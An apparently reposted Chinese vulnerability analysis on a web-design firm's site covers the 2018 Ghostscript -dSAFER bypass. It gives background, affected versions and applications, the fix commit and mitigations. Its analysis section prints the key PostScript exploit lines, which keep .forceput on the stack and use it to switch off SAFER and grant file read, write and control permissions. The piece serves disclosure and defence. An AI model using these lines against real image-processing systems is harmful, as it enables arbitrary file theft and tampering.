网创优客建站品牌官网
为成都网站建设公司企业提供高品质网站建设
热线:028-86922220
成都专业网站建设公司

定制建站费用3500元

符合中小企业对网站设计、功能常规化式的企业展示型网站建设

成都品牌网站建设

品牌网站建设费用6000元

本套餐主要针对企业品牌型网站、中高端设计、前端互动体验...

成都商城网站建设

商城网站建设费用8000元

商城网站建设因基本功能的需求不同费用上面也有很大的差别...

成都微信网站建设

手机微信网站建站3000元

手机微信网站开发、微信官网、微信商城网站...

建站知识

当前位置:首页 > 建站知识

ghostscript任意文件读写漏洞的示例分析

这篇文章主要为大家展示了“ghostscript任意文件读写漏洞的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“ghostscript任意文件读写漏洞的示例分析”这篇文章吧。

创新互联主营平安网站建设的网络公司,主营网站建设方案,重庆APP开发公司,平安h5重庆小程序开发搭建,平安网站营销推广欢迎平安等地区企业咨询

0x00 漏洞背景

10 月 9号,Tavis Ormandy 通过公开邮件列表

(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),

再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。

0x01 漏洞影响

version <= 9.26

(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 

之前的版本

官方已给出缓解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚无release版本发布

漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:

  • imagemagick

  • libmagick

  • graphicsmagick

  • gimp

  • python-matplotlib

  • texlive-core

  • texmacs

  • latex2html

  • latex2rtf

0x02 漏洞分析

   .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.

官方对.forceput的使用介绍,能够强制更新dict中的值。

这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中,然后被注册成命令forceput进而对systemdict进行修改。

最终达到bypass safer以及开启文件读写权限等操作。

核心过程分析首先利用如下命令访问switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

触发异常后的栈情况

ghostscript任意文件读写漏洞的示例分析
利用如下命令将.forceput 注册成forceput

/forceput $error /command get def

然后即可通过如下正常命令对systemdict进行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

   Make procedures that use .forceput/.forcedef/.forceundef into operators.

   The result of this is that errors get reported against the "top" operator,
   rather than the "called" operator within the procedure.

   For example:
   /myproc
   {
     myop
   } bind def

   If 'myop' throws an error, the error handler will be passed the 'myop'
   operator. Promoting 'myproc' to a operator means the error handler will be
   passed 'myproc'.

在这次更新中对该问题进行了修复

ghostscript任意文件读写漏洞的示例分析

在注册的时候都以odef注册成特殊的运算符使其无法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

php ImageMagick demo

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

0x04 缓解措施

目前官方已给出缓解措施,建议更新ghostscript。

至少需要到

(a54c9e61e7d02bbc620bcba9b1c208462a876afb)

之后的版本

若无法更新可先尝试禁用使用gs解析ps文件

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在中加入以下

(即禁用 PS、EPS、PDF、XPS coders):







以上是“ghostscript任意文件读写漏洞的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注创新互联行业资讯频道!


网站栏目:ghostscript任意文件读写漏洞的示例分析
标题网址:http://bjjierui.cn/article/pgjisd.html

其他资讯